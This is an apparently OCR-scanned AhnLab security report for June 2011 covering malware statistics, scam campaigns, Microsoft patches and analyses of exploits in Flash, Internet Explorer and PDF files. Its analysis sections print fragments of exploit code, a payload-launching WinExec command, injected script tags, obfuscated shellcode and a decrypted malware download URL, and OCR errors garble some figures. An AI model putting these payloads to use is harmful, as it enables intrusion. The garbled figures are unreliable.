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1. Malicious Code Trend

01.Malicious Code Trend
a. Malicious Code Statistics

Malicious Code ReportsTop 20 Top 20 Malicious Code Variant Reports

The table below shows the percentage breakdown of the top 20 malicious codes reported in June The table below shows the percentage breakdown of the top 20 malicious code variants reported
2011. As of June 2011, Textimage/Autorun is the most reported malicious code, followed by JS/ this month. As of June 2011, Win-Trojan/Onlinegamehack is the most reported malicious code,
Swflash and JS/Redirect, respectively. 10 new malicious codes were reported this month. representing 12.8%(946,451 reports) of the top 20 reported malicious code variants, followed by Win-

Trojan/Downloader(831,974 reports) and Textimage/Autorun (769,591 reports).

Ranking ™M Malicious Code Reports  Percentage Ranking ™ Malicious Code Reports  Percentage
1 - Textimage/Autorun 769,481 20.1 % 1 - Win-Trojan/Onlinegamehack 946,451 12.8 %
2 NEW JS/Swflash 471,178 12.3% 2 A1 Win-Trojan/Downloader 831,974 11.2%
3 - JS/Redirect 448,794 1.7% 3 -1 Textimage/Autorun 769,591 10.4 %
4 A10 JS/Agent 288,339 7.5% 4 Al Win-Trojan/Agent 582,429 7.9 %
5 NEW Swf/Agent 179,748 4.7% 5 NEW JS/Swflash 471,178 6.4 %
6 Al Win32/Induc 169,286 44 % 6 A2 JS/Redirect 448,794 6.1%
7 NEW Html/Agent 162,166 42 % 7 - Win32/Conficker 370,107 5.0%
8 NEW Html/Shellcode 132,246 3.5% 8 Al Win32/Autorun.worm 347,682 4.7 %
9 NEW Swf/Cve-2011-0609 129,213 3.4% 9 Al Win32/Virut 341,634 4.6 %
10 NEW Html/Flasher 127,948 3.3% 10 NEW Win-Adware/Korad 295,688 4.0 %
11 v1 Win32/Palevol.worm.Gen 127,260 3.3% 11 NEW JS/Agent 288,339 3.9%
12 NEW Win-Adware/Yint.1006080 114,618 3.0% 12 NEW Dropper/Onlinegamehack 242,744 3.3%
13 v Win32/Conficker.worm.Gen 113,078 3.0% 13 v9 Win-Trojan/Winsoft 234,569 3.2%
14 Al Win32/0lala.worm 101,676 2.7% 14 v2 Win32/Kido 234,002 3.2%
15 A1 Win32/Virut.f 92,780 2.4% 15 V4 Dropper/Malware 182,000 2.5%
16 A4 Dropper/Onlinegamehack5.Gen 80,659 2.1 % 16 NEW Swf/Agent 179,748 2.6%
17 NEW Win-Trojan/Onlinegamehack.274432.R 80,527 2.1% 17 v Win32/Induc 169,418 2.3%
18 NEW Win32/Flystudio.worm.Gen 79,927 2.1% 18 NEW Html/Agent 162,166 2.2%
19 v8 JS/Cve-2010-0806 79,174 2.1% 19 v Win32/Palevo 158,654 21%
20 NEW Swi/Exploit 78,314 2.0% 20 v5 Win-Adware/Koradware 145,133 2.0%

3,826,412 100 % 7,402,301 100 %

[Table 1-1] Top 20 Malicious Code Reports [Table 1-2] Top 20 Malicious Code Variant Reports
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Breakdown of Primary Malicious Code Types
The chart below categorizes the top malicious codes reported this month. As of June 2011, Trojan is
the most reported malicious code, representing 35.6% of the top reported malicious codes, followed

by Script (20.5%) and Worm (13.3%).
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[Fig. 1-1] Breakdown of Primary Malicious Code Type

Comparison of Malicious Codes with Previous Month

Compared to last month, the number of script, worm, adware, dropper, downloader and virus
increased, whereas, the number of Trojan and spyware dropped. The number of Appcare was similar

to the previous month.

D 2011.06
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[Fig. 1-2] Comparison of Malicious Code with Previous Month

Monthly Malicious Code Reports
There has been a decrease in malicious code reports in June, which dropped 323,222 to 14,176,633

from 14,499,855 in May.
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[Fig. 1-3] Monthly Malicious Code Reports

Breakdown of New Malicious Code Types
As of June 2011, Trojan is the most reported new malicious code, representing 44% of the top

reported new malicious codes. It is followed by adware (23%) and script (21%).
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[Fig. 1-4] Breakdown of New Malicious Code Types
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Top 20 New Malicious Code Reports

The table below shows the percentage breakdown of the top 20 new malicious codes reported in
June 2011. As of June 2011, JS/Swflash is the most reported new malicious code, representing 40.4%

(471,178 reports) of the top 20 reported new malicious codes, followed by Win-Adware/Yint.1006080

(114,618 reports).

Ranking Malicious Code Reports Percentage
1 JS/Swflash 471,178 40.4 %
2 Win-Adware/Yint.1006080 114,618 9.8 %
3 Win-Trojan/Onlinegamehack.274432.R 80,527 6.9 %
4 Win-Trojan/Downloader.217088.AE 57,601 4.9 %
5 Win-Adware/KorAd.499712.B 50,816 4.4 %
6 Win-Adware/Crypter.241664.B 39,307 3.4 %
7 Win-Adware/KorAd.274432.C 33,678 2.9 %
8 Win-Trojan/Onlinegamehack.33583512 32,59 2.8%
9 SWF/Cve-2011-2110 29,941 2.6 %
10 Win-Trojan/Downloader.1028608 27,554 2.4%
1 Win-Trojan/Downloader.969728 26,815 2.3%
12 Win-Trojan/Downloader.1060864.C 25,904 2.2%
13 Win-Downloader/KorAd.102400 23,987 21%
14 Win-Trojan/Downloader.234496.S 23,513 2.0%
15 Win-Trojan/Downloader.1197056.C 22,479 1.9 %
16 Win-Adware/KorAd.274432.B 22,130 1.9 %
17 Win-Trojan/Agent.665600.M 21,587 1.8%
18 Win-Adware/KorAd.503808 21,401 1.8%
19 Win-Adware/SPack.215552 21,329 1.8%
20 Win-Adware/Shortcut.KorAd.224256 20,759 1.8 %

1,167,718 100 %

[Table 1-3] Top 20 New Malicious Code Reports
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01.Malicious Code Trend
b. Malicious Code Issues

Hijacking DNS through DHCP

A number of companies using DHCP reported problems with
their Internet connection at the beginning of this month. The
malware propagates via shared network and removable media.
It creates %Temp%\srv(random 3-digit number].tmp and
%Temp%\srv(random 3-digit number).ini, and the following
files in the removable media and writable folder in the shared

network:

- setup [random numbers).fon

- myporno.avi.lnk // MS10-046 vulnerability
- pornmovs.lnk // MS10-046 vulnerability

- autorun.inf

The worm checks if a DHCP server is used in the network. If
the victim computer is located on a network using the DHCP
protocol, the worm starts scanning the network to see if there
are any available IP addresses. After that, the worm runs a rogue
DHCP server and starts listening to the network. When a DHCP
requests from a computer in the local network arrives, the worm
sends out bogus DHCP packets to it before the real DHCP server

does.

[Fig. 1-5] DHCP packet information sent from the infected sytem

Magic cookie: DHCP
# option: (t=53,1=1) DHCP Message Type = DHCP ACK
¢ option: (t=54,1=4) DHCP Server Identifier = 192.168.211.128
# option: (t=51,1=4) IP Address Lease Time = 1 day
# option: (t=1,1=4) Subnet Mask = 255.255.255.0
# option: (t=3,1=4) Router = 192,168.211.2
¥ option: (t=6,1=4) Domain Name Server = &SINMEKAISND

T T T T L T T O P T T O T e T O T
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As it manipulates the DNS settings and returns an IP address

belonging to the cybercriminals, it redirects the targeted
machine to a malicious site for infection.

After these manipulations, whenever the user tries to visit any
web page, they will be redirected to the malicious server and

prompted to update their web browser. The user will only be able

[Fig. 1-6] Malicious page from which the worm propagates
2} WARNING! - Microsoft Internet Explorer

OY¥E BEIE 2N SAWNE =D S8H

Qe - =) 2|05 au AR &

Z2D) [@] htto://www.g00gle.com/

www.google.com
The page does not support your version of browser,

Please update your software

Browser update

to visit sites after agreeing to install an “update”. As shown in
Fig.1-6, it looks like a legitimate Google site, but it is not. If the
user agrees to download, they unwittingly download a variant
of the worm. After infecting the user’s computer, it changes the
DNS settings into a Google server address and lets the user
browse.

To remove the worm:

1. Deselect ‘Obtain DNS server address automatically, and select
‘Use the following DNS server addresses:’

2. Enter a specific IP address in the Preferred DNS server, or use a
DNS settings that ISP provides.

3. Update V3 to the latest version and run Intense Scan

SNS spreads fake Mac 0S X antivirus program

On May 15, a fake antivirus program for Mac 0S X has been
discovered in the wild. The fake MAC Defender antivirus

application spread on Twitter using shortened URLs.

[Fig. 1-7] Twitter’s malware link
g @r_n c

Well, Mac users, it looks like the game is
up. I just got redirected to this from
reddit. - http://bit.ly/i HI
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If a Safari user clicks the link, he or she will be directed to a

[Fig. 1-8] Fake antivirus scan page disguised as Safari browser

€5 x fi s 16376 YR

AnAhnLab

‘s 3 Apple security center

specially crafted website as below:

This fake antivirus will alert you with fake or simulated detection
of infections, and attempt to get installed on the infected
system. This fake antivirus was first announced on Sophos’ blog
post, “Rihanna and Hayden Panettiere sex video spreads Mac
malware on Facebook”. Apple released Security Update 2011-
003 that addresses the Mac Defender malware phishing scam. If
you happened to fall for the Mac Defender scheme, this update
should promptly take care of the problem. Be careful not to click
on shortened links or any links sent by people you don't really

know from your social network site.

McDonald's scam circulates online

On June 21, ASEC sent out a tweet to warn about spam emails
purporting to offer a free meal at McDonald's. You must be
careful as the spam is still circulating. The rogue emails bear

different subjects and messages as below:

[Table 1-4] Rogue email purport to come from Mcdonald’s

We are having the holiday of free food

We feed everyone for free

We gift you all our dishes for free

The very best day is Free Day

Our visitors will be having dishes for free

We are going to prove that our food is delicious
and healthy

Visit us on the day of free helpings

Hand over the ticket and get five helpings for free
Today you will get the ticket and there will be no
need to pay for

Get a ticket for free helpings

Subject

Good afternoon.

McDonalds invites you to The Free Supper Day
which will take place on 27 June, 2011, in every
cafe of ours.

Free Day?s menu!

- Premium Crispy Chicken Classic Sandwich
- World Famous Fries

- Premium Southwest Salad

- Sugar Cookie )
Message - McCafe Strawberry Banana Smoothie

Print the invitation card attached to the letter
and show it at the cash desk of any of our
restaurants.

Every manager will gladly take your card and
issue you a tasty dish of Free Day.

And remember! Free Day is whole five free
dishes!

Thank you for your credence.
We really appreciate it.

Attachment | - Invitation_Card_[5-digit number].zip

The file attachment is called Invitation_Card_[5-digit number].

zip and contains an executable file, Invitation_Card.exe (25,600

[Fig. 1-9] EXE file has a Word icon

Invitation “Card ek

An AhnLab

bytes).

The malicious executable file has a Microsoft Word icon. V3 detects
this Trojan as:

- Win-Trojan/Agent.25600.ZN
- Win-Trojan/Agent.25600.Z0
- Win-Trojan/Dofoil.26112.C

12
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02.Security Trend
a. Security Statistics

Microsoft Security Updates- June 2011

Microsoft released 16 security updates this month. Most of the updates resolve vulnerabilities that

allow remote code execution. You must be careful when opening emails and accessing websites, Severity Vulnerability

and always update your antivirus to the latest version and download all available security patches.
Critical Vulnerability in OLE Automation Could Allow Remote Code Execution (MS11-038)

Vulnerability in .NET Framework and Microsoft Silverlight Could Allow Remote Code Execution
(MS11-039)

2010.06 - 2011.06 Critical Vulnerability in Threat Management Gateway Firewall Client Could Allow Remote Code Execution

(MS11-040)
Critical Vulnerability in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (MS11-041)
HHp w
Critical Vulnerabilities in Distributed File System Could Allow Remote Code Execution (MS11-042)
ENEEEEEEEEEEN
. . . . . . . . Critical Vulnerability in SMB Client Could Allow Remote Code Execution (MS11-043)
EEEEEEEEEDE

. . . Critical Cumulative Security Update for Internet Explorer (MS11-050)

. . . . . . . . . . . Critical  Vulnerability in Vector Markup Language Could Allow Remote Code Execution (MS11-052)

] Important  Vulnerability in MHTML Could Allow Information Disclosure (MS11-037)

EEENEEEEE
. . Important  Vulnerability in Ancillary Function Driver Could Allow Elevation of Privilege (M511-046)
. . . . . . . . . . . . . . . . Important  Vulnerability in Hyper-V Could Allow Denial of Service (MS11-047)

1
EEENNNEEEE HEE

. System . IE . Office . Sever Important Vulnerability in Active Directory Certificate Services Web Enrollment Could Allow Elevation of
P Privilege (MS11-051)

[Fig. 2-1] MS Security Updates [Table 2-1] MS Security Updates for June 2011

Critical

7

[« ]

0

. . Critical Vulnerability in .NET Framework Could Allow Remote Code Execution (MS11-044)

10
11
12

N

. Important  Vulnerabilities in Microsoft Excel Could Allow Remote Code Execution (MS11-045)

g N W

Important  Vulnerability in SMB Server Could Allow Denial of Service (MS11-048)

o~

Important  Vulnerability in the Microsoft XML Editor Could Allow Information Disclosure (MS11-049)
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02.Security Trend
b. Security Issues

Malicious codes distribution: Websites (June 2011)

Malware distributed by exploiting new vulnerabilities

1) Exploitation of CVE-2011-2110 for Adobe Flash
Player to distribute malware

A vulnerability (CVE-2011-2110) in Adobe Flash Player was
exploited in the wild since mid June. The malware that exploited
this vulnerability is an encrypted URL that contains a TXT file
as below. This TXT file is also encrypted and when decrypted, it

shows a Windows executable file.

[Fig. 2-2] Analysis of CVE-2011-2110 vulnerability

file setup.txt_zlib
Windows, Nullsoft Installer self-extracting archive

sis)l

The malware works as below:

- Gets URL data in the form of main.swf file from “info”
parameter.

- Processes data and requests URLRequest (AS) to URL.

- Mixes data received as response and shell codes in flash file.

- Compares the installed Flash ActiveX and plug-in version

[Fig. 2-3] Comparison of installed Flash ActiveX and Plugin version

if (Capabilities.version.toLowerCase() == "win 10,3,181,14" ||
Capabilities.version.toLowerCase() == ""win 10,3,181,22" ||
Capabilities.version.toLowerCase() == ""win 10,3,181,23")

xchg_eax_esp_ret =
xchg_eax_esi_ret =
pop_eax_ret =
VirtualAlloc =
jmp_eax =

Checks system information and UserAgent information of
browser from internal AS code, and the following errors:
Web browser is not MSIE or FireFox

Web browser is Chrome

The flash is a debugged version (Capabilities.isDebugger),
64-bit supported (Capabilities.supportsé4BitProcesses), and
embedded in Acrobat (Capabilities.isEmbeddedInAcrobat)

The picture below shows the shell codes using Flash vulnerability.

[Fig. 2-4] Malware using Flash vulnerability

; u request
info i 9
—— hxxp://["i"!]/ss.lxti Web server
ROP widget Data(Size:34790)
- ltemp% B0 scuhost.ene Ay shellcode
- MMEYE) ¥o12 Data? scuhost.exe Of WriteFile
- Winexec (cmd.exe /c scuhost.exe) L) +
Data é—
. Drgpper/lnfineBametfach <t

2) Exploitation of CVE-2011-2110 for Adobe Flash
Player to distribute malware

The vulnerability uses an SWF file, which gets distributed in the
name of [address][banner][number].swf or nb.swf. When analyzed,

it shows shellcodes in the SWF file.

[Fig. 2-5] SWF file analysis

|/ \) Source |[*] Properties |7 Urls

this.s3.length);

locl = this.i + 1;

loc0.i = this.i;

5 2.uriveByses(shis.s, 0, this.s.lengh); AR

We analyzed the shell codes to find a .jpg file downloaded from a

16

URL. This file is in fact not an image file, but a malicious PE file.

3) Exploitation of CVE-2011-1255 to distribute malware

A malware that exploits Time Element Memory Corruption
(CVE-2011-1255) vulnerability that is in MS11-050: Cumulative
Security Update for Internet Explorer was reported.

This malware contains the following codes:

[Fig. 2-6] Vulnerable codes

<HTML XMLNS:t="urn:schemas-microsoft-com:time">
<?IMPORT namespace="t" implementation="#default#time2">
<body>
<div id="

" contenteditable="true" style="width:0;height:0;visibility:hidden'>

<t:TRANSITIONFILTER > </t:TRANSITIONFILTER >

- BN

function eecc({

var ua = window.navigator.userAgent.toLowerCase();
if (ua.indexOf('msie 8.0 > -1) {

document.getElementById("x").innerHTML = "
CollectGarbage(
for (var x = 0; x < allength; x++) {

al[xltitle = codebk(s), @ = FEEmEE= EIP Control

Foj2el Hols Fous g

The “title” data is located in the EAX registry that changes the

EIP so the user can enter the data to control the EIP.

[Fig. 2-7] Location of vulnerability

LEA  EDL

WORD PTR [E!
880 MOV ECX, DWORD PTR [i
7CE2E09D . SO PUSH

7CE2EQ9E . FF51 08 CALL  DWORD PTR [ECX+8]

o Crash 24 U EIP W7 X1

EAX=018EC510: 20 OD 0D 0D D5 SE C1 77-20 0D OD OD 20 0D 0D 0D *** al[.title Of write /& 2t

5) Malware update that modifies system files

Recent malware distributed via hacked websites changes
Windows system files to get executed. Hackers usually use
imm32.dll, lpk.dll and midimap.dll, but there are also cases
where ws2help.dll is backed up as ws3help.dll, and ws2help.dll

is replaced with a malicious file that is about 30MB in size.

DEE BIE 2AW ARG SO E/FE >
Qu;-/-?laq G |G-

F2AD) [ C:WHNOOWSWsystem R
L <] x Of - |

Py | B wowexec
@ By u3 ) wowlax, dil
&) wowdaxui, il

8 weecedt dl
&) wehatm, dil
%) wshbth, di
&) wshcon, dil
%) wshe:xt.di
) 1

We analyzed the shell codes as below:

- hxxp://[omittedlistro.com/PopCalendar2005/CSS/Classic_
Images/[omitted].exe

- Decodes [omitted].exe and creates b[1].exe

- Executes WinExec commands: cmd.exe /c copy /B
“[omitted]\b[1].exe" /B %temp%)\svchost.exe /y && start

%temp%\svchost.exe'

4) Exploitation of Internet Explorer, CVE-2010-0806
(MS10-018) vulnerability to distribute malware
The targeted files are imm32.dll, lpk.dll and win32.dll, and

recently, ws2help.dll. Another IE vulnerability was reported -
CVE-2010-3962 (MS10-090).
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03.Web Security Trend
a. Web Security Statistics

Web Security Summary

This month, SiteGuard (AhnLab’s web security service) reported 49,317 malicious websites were
blocked. There were 679 types of malicious code, 636 domains with malicious code, and 2,398 URLs
with malicious code. The number of domains and URLs with malicious have decreased from last

month, but there has been an increase in reported malicious codes and types of malicious code.

I Blocked malicious URLs

@ 2011.06
| Reported types of | Domains with | URLs with
malicious code malicious code malicious code

679 636 2,398

[Table 3-1] Website Security Summary

Monthly Blocked Malicious URLs
This month, the number of blocked malicious URLs increased 33.2% to 49,317 from 32,918 last

month.
125,000 107,713
100,000
75,000 49,31 7
32,918 +33.2%
50,000 l
25,000
0
| | |
2011.04 2011.05 2011.06

[Fig. 3-11 ] Monthly Blocked Malicious URLs
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Monthly Types of Malicious Code

This month, the number of reported types of malicious code remained aimost the same. There

were 679 reports this month, which is 2 reports less than last month.,

1,000 704
677 679
800 +0.3%
600 G *VA .
400
200
L
| | |
2011.04 2011.05 2011.06

[Fig. 3-2] Monthly Reported Types of Malicious Code

Monthly Domains with Malicious Code

This month, the number of reported domains with malicious code decreased 11% to 636, from

716 last month.

1,000 636

800 -11.2%

600 G ﬂff“ ‘.

400

200

0

I I I
2011.04 2011.05 2011.06

[Fig. 3-3] Monthly Domains with Malicious Code

Monthly URLs with Malicious Code

This month, the number of reported URLs with malicious code decreased 11% to 2,398, from 2,684

last month.
5,000
4,000 2,605 2,684
— 2,398
3,000 -10.7%
o W
2,000 C b ‘.
1,000
R
| | |
2011.04 2011.05 2011.06

[Fig. 3-4] Monthly URLs with Malicious Code
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Web Security Trend

Distribution of Malicious Codes by Type
This month, downloader was the top distributed type of malicious code with 11,701 (23.7%) cases

reported, followed by dropper with 10,554 (21.4%) cases reported.

TYPE Reports Percentage
DOWNLOADER 11,701 23.7%
DROPPER 10,554 21.4 %
ADWARE 10,262 20.8 %
TROJAN 7,977 16.2 %
Win32/VIRUT 935 1.9 %
JOKE 702 1.4 %
APPCARE 210 0.4 %
SPYWARE 119 0.2%
ETC 6,857 13.9 %
49,317 100 %

[Table 3-2] Distribution of Malicious Codes by Type

DOWNLOADER 11,701

DROPPER 10,554
ADWARE 10,262 10,000
’

TROJAN 7,977
’ 7,500
ETC 6,857

5,000

WIN32/VIRUS 935 2,500
JOKE 702
APPCARE 210
SPYWARE 119

[Fig. 3-5] Top Distributed Types of Malicious Code

Top 10 Distributed Malicious Codes
As of June 2011, Dropper/Malware.10260294 is the most distributed malicious code, with 4,845

cases reported. 8 new malicious codes, including Dropper/Malware.10260294, emerged in the top

10 list this month.

Ranking M Malicious Code Reports Percentage
1 NEW Dropper/Malware.10260294 4,845 16.2%
2 NEW Win-Downloader/KorAdware.1539072 4,103 13.7 %
3 NEW Dropper/Malware.9861963 3,494 1.7 %
4 NEW Win-Downloader/Cybermy.724992 3,420 11.4 %
5 NEW Win-Adware/KorZlob.3919486 3,162 10.6 %
6 NEW Win32/Induc 2,909 9.7 %
7 NEW Win-Downloader/Cybermy.726528 2,795 9.3%
8 v7 Win-Adware/Shortcut.InlivePlayerActiveX.234 2,381 7.9 %
9 vé Win-Adware/Shortcut.Unni82.3739648 1,450 4.8 %
10 NEW Dropper/Small.Gen 1,397 4.7 %

29,956 100 %

[Table 3-3] Top 10 Distributed Malicious Codes
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03.Web Security Trend
b. Web Security Issues

June 2011 Malicious Code Intrusion: Website

The number of intrusion is similar to last month. But, there has
been an increase in the number of intrusion exploiting the zero-
day vulnerability in Adobe Flash Player (CVE-2011-2110) since
the middle of the month.

[Fig. 3-6] Monthly malicious code intrusion: website

The table above shows the top 10 distributed malicious codes in
May- Win-Trojan/Patched.DE was the most distributed malware.

There has been an increase in malware that is above 30MB in

size in June.

[Table 3-4] Top 10 Distributed Malicious Codes

Ranking Malicious Code Reports
1 Win-Trojan/Patched.DE 44
2 Win-Trojan/Agent.85104 17
3 Dropper/Onlinegamehack.33600522 17
4 Win-Trojan/Onlinegamehack.82338 16
5 Dropper/Onlinegamehack.84309 16
6 Win-Trojan/Onlinegamehack.33597838 16
7 Dropper/Onlinegamehack.33600010 16
8 Dropper/Onlinegamehack.80343 15
9 Win-Trojan/Onlinegamehack55.Gen 15
10 Win-Trojan/Onlinegamehack56.Gen 15

Malicious codes distributed via hacked websites

Hacking the server to use up the server resources used to be
the typical way to spread malware. Nowadays, cyber criminals
hack the client by hacking the server to distribute malware.
They also exploit vulnerabilities until security patches are
released, which leaves users helpless. Security for client is
important, but security for servers that are the primary target is
more important. Most of the methods used by hackers to hack
websites are quite simple. Just by paying attention to security,
we can easily protect our systems from automated attacking

tools or scripts.

The most secured websites are not 100% safe from new
attacking techniques and even 0.00001% of carelessness. To

protect websites from being hacked, follow the methods below:

1. Safe security programming

- Check the security library or attacking techniques before
programming.

2. Regular inspection

- Conduct regular inspections through simulated hacking and
consulting.

3. Consistent monitoring

- Monitor websites regularly for any modifications.

- Monitor logs regularly for any abnormalities.

- Monitor the web shell scripts regularly.

4. Real-time monitoring with IDS/IPS device

5. Regular security education to raise security awareness

Distribution of malware via SQL injection

Armorize’s recent blog post announces malware distributed by

hacking multiple websites.
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Mass Meshing Injection: sidename.js ongoing:

http://blog.armorize.com/2011/06/mass-m eshing-injection-

sidenamejs.html

The 760 websites mentioned were analyzed as below:

1) Attacked websites: by country

[Fig. 3-7] Attacked websites: by country

e o &ff‘ A AhnLab

Most of the affected websites were located in the US, and the countries in

ETC category are as below:

[Fig. 3-8] Countries in ETC category
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As it can be seen from the chart above, Korean websites were

also hacked to distribute malware, but there are no information

[Fig. 3-9] Attacked websites: by country (June 18, 2011)

BE a @ ES po N/A RU
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on the websites. As a result of monitoring the 760 websites for
24 hours on June 18, 2011, they were still distributing malware,

and the countries they are located are as below:

[Table 3-5] Code Country Code Country

AR Argentina ID Indonesia
BE Belgium NL Netherlands
BG Bulgaria PL Poland
CA Canada RO Romania
CZ Czechoslovakia RU Russia
DE Germany TH Thailand
ES Spain TR Turkey
FR France UA Ukraine
GB UK UsS us

2) Analysis of intruded websites

Out of the 760 websites monitored on June 18, 2011, 274

websites had sidename.js Java script inserted as below:

Case 1

"(script type="text/javascript™ src="http: //guitar*™***** com.
ua/sidename.js"y{/script){script type="text/javascript™
X pl/counter.js"Y{/scripty<html)

src="http://chojno.pa
¢head)’

Case 2

"(script type="text/javascript" src="http://*****2.ac.th/
sidename.js"Y{/script){IDOCTYPE html PUBLIC "—//W3C//
DTD XHTML 1.0 Transitional//EN™ "http: //www.w3.org/TR/
xhtml1/DTD/xhtml1—transitional.dtd™)’

Case 3

"{/nead){body leftmargin="0" topmargin="0
marginwidth="0" marginheight="0"
bgcolor="#7B396A"){script type="text/javascript"
src="http: //pla*** cp9.vpsi.ol/sidename.js"){/
scripty{center){table border="0" cellpadding="0"

cellspacing="0")'

“sidename.js” is the same in all three cases, but the address
to which the Java script file is linked is not the same. In other
words, multiple URLs were used with sidename.js. The location

of the URLs were analyzed as below:

22

[Fig. 3-10] URLs with sidename.js: by country

1.;;% _RU Ah AhnLab

The distribution of malware via SQL injection is summarized as

below:

[Fig. 3-11] Malware distribution

A AhnLab

If you access forumthread.php from a web browser, 404 Not
Found error will appear, and Windows Media Player will seem
to be playing, but instead, a vulnerable PDF will download and
execute. Adobe PDF Reader’s License Agreement window only
appears in the beginning. If you consent, it does not appear

again. The vulnerable PDF will run on the background, so the

License Agreement window will not appear.

[Fig. 3-12] When connected to forumthrea.php

404 Not Found

S Windows Media Player 9 Series

Welcome to Windows Media Player 9 Series

License Agreement
Press the Accest butto to agree to the License.
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Cuntomize these dul .23 ard ither sl s

A Ahnlab

We analyzed the downloaded PDF file and found it to contain
obfuscated Java scripts.

* CVE-2006-3459 vulnerability: http://cve.mitre.org/cgi-bin/
cvename.cgi?name=CVE-2006-3459

[Fig. 3-13] Java script after disabling primary obfuscation
A AhnLab

var

e _11="4c20600f0517804a3c20600f0f63804aa3ebB804a3020524a6e2f804a41414
141260000000000000000000000000000001239804a6420600f0004000041414
1414141414190909090eb16b9460100008b342489F7803e297406ac3465aae2f
ac3edeSffffffac696465653be48939646565ec82e82a75280a3154be323436363
6363636363036360d616465653033360d0a0b65650d10170908310deb2b6bB98
d2d656565358d196565659abSeba16d0d2aBa2ab0358d096565659abSe0as107
20f313c96cf0d179bd6738d78656565358d346565659ab5360f9b0dec0at4dsad
6 358d59 9abS0554a501ee3555ee37692e377 1ee174ddc7d6565
65549a54a5c9590419674945a4aa6864a28795e49a3ed92f0fee2775ee7710bce
c21417904a605ee094141ee2059%ee31601d648fec2f7dee3f45648e8651 2ceeS1
ee648b549a54a599c9e1a51 162a4aab864a28e91519414d1084ee3f41648e03
ee692eee3f79648eee61ee648dec21417904a76d658d8a9b9a%a0d1111155F4a
4a1f10021c024b00101600070c0a0317040b111f0c160e0a4b17104a014b150d1
55a0358575743005853"; var

Warning: JavaScript Window -

Shell codes can be derived by analyzing the primary obfuscated
Java scripts. The shell code contains a specific encrypted URL

to download the malicious file from, when the malicious PDF is

executed. The decrypted URL is as below:

[Fig. 3-14] Decrypted URL

0x170 | 241C 61C2 0800 ESEF FEFF FF68 7474 7034 $.a .. http:
0x180 ZE 6575 7365 6269 6F66  // .eusebiof
0x190 - 7469 736B 6FZE 7275 ZFé4 ZET0 zisko.ru/d.p

0x1a0 | 6870 3F66 3D3Z 3226 653D 3665 hp?f=226e=6e
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01.Malicious Code Trend
a. Malicious Code Statistics

Top 20 Malicious Code Reports Top 20 Malicious Code Variant Reports

The table below shows the percentage breakdown of the top 20 malicious codes reported in Q2 The table below shows the percentage breakdown of the top 20 malicious code variants reported
of 2011. As of Q2 of 2011, Textimage/Autorun is the most reported malicious code, followed by this quarter. As of Q2 of 2011, Win-Trojan/Onlinegamehack is the most reported malicious code,
JS/Redirect and JS/Agent, respectively. 7 new malicious codes were reported this quarter. representing 16.0%(3,952,884 reports) of the top 20 reported malicious code variants, followed by

Textimage/Autorun (2,748,919 reports) and Win-Trojan/Downloader (2,380,410 reports).

Ranking ™ Malicious Code Reports  Percentage Ranking ™ Malicious Code Reports  Percentage
1 - Textimage/Autorun 2,748,503 25.3% 1 = Win-Trojan/Onlinegamehack 3,952,884 16.0 %
2 A17 JS/Redirect 1,279,942 11.8% 2 — Textimage/Autorun 2,748,919 11.1%
3 = JS/Agent 819,564 7.5% 3 = Win-Trojan/Downloader 2,380,410 9.7%
4 NEW Win-Trojan/Overtls27.Gen 717,230 6.6 % 4 Al Win-Trojan/Winsoft 2,320,400 9.4 %
b v3 Win32/Induc 582,032 5.4 % 5 v Win-Trojan/Agent 1,989,893 8.1%
6 NEW JS/Swflash 471,178 4.3 % 6 NEW JS/Redirect 1,279,942 5.2%
7 NEW Swf/Downloader 471,157 4.3% 7 Al Win32/Conficker 1,148,246 4.7%
8 A3 Win32/Palevol.worm.Gen 412,263 3.8% 8 v1 Win32/Autorun.worm 1,111,769 4.5 %
9 NEW Win-Trojan/Winsoft.78981.CIB 410,061 3.8% 9 A1l Win32/Virut 930,167 3.8%
10 A2 Win32/Conficker.worm.Gen 346,072 3.2% 10 NEW Dropper/Malware 887,162 3.6 %
11 v4 JS/Exploit 322,724 3.0 % 11 AL JS/Agent 819,565 3.3%
12 Al Win32/0lala.worm 311,431 2.9% 12 — Win32/Kido 728,155 3.0%
13 A7 Win32/Virut.f 277,572 2.6% 13 NEW Win-Trojan/Overtls27 717,230 2.9 %
14 A3 JS/Downloader 273,247 2.5% 14 vi Win-Adware/Koradware 597,972 2.L%
15 v7 Win32/Parite 261,891 2.4% 15 V4 Win32/Induc 582,417 2.4%
16 v6 JS/Cve-2010-0806 247,285 2.3% 16 — Dropper/Onlinegamehack 555,317 2.3%
17 NEW Win32/Flystudio.worm.Gen 245,535 2.3% 17 Al Win32/Palevo 490,828 2.0%
18 NEW Als/Pasdoc 232,616 21% 18 A1 VBS/Solow 478,935 1.9 %
19 NEW Win-Trojan/Downloader.156565 224,634 21% 19 NEW JS/Swflash 471,178 1.9 %
20 v5 VBS/Solow.Gen 224,007 21% 20 NEW Swf/Downloader 471,159 1.9 %

10,878,944 100 % 24,662,548 100 %

[Table 4-1] Top 20 Malicious Code Reports [Table 4-2] Top 20 Malicious Code Variant Reports
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Primary Malicious Code Type Breakdown

The chart below categorizes the top malicious codes reported in Q2 of 2011.
Trojan is the most reported malicious code, representing 43.7% of the top reported malicious codes,

followed by script(15.6%) and worm(12.8%).

0 10 20 30 40%
aowaAre @D 6% TROJAN /3 op
APPCARE @ 0.5%
DOWNLOADER 1.2%
proPPER (D 5.1%
erc (D 9.7%
scriPT QEEEEED 15.6% G
spYWARE @ 0.6% WORM  12.8%
TroaN (D 3.7 oER 27 99,
VIRUS 4.8%
worv (D 12.8%

[Fig. 4-1] Primary Malicious Code Type Breakdown

Quartery Malicious Code Reports
There has been a decrease in malicious code reports in this quarter, which dropped 7,736,361 to

53,944,245 from 46,207,884 in this quarter.

60,000,000 53,944,245 46,207,884

50,000,000 &
40,000,000 ‘.

30,000,000

20,000,000

| |
2011.1Q 2011.2Q

[Fig. 4-2] Quartery Malicious Code Reports
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Top 20 New Malicious Code Reports

The table below shows the percentage breakdown of the top 20 new malicious codes reported in Q2

of 2011.
Ranking Malicious Code Reports Percentage

1 Textimage/Autorun 2,745,002 26.1%
2 JS/Redirect 1,279,942 12.2 %
3 JS/Agent 819,461 7.8%
4 Win-Trojan/Overtls27.Gen 717,230 6.8%
5 Win32/Induc 582,032 5.5%
6 JS/Swflash 471,178 4.5 %
7 SWF/Downloader 471,157 4.5 %
8 Win-Trojan/Winsoft.78981.CIB 410,061 3.9%
9 JS/Exploit 322,697 3.1%
10 Win32/0lala.worm.57344 311,431 3.0%
1 Win32/Virut.F 277,572 2.6 %
12 JS/Downloader 273,196 2.6 %
13 Win32/Parite 261,891 2.5%
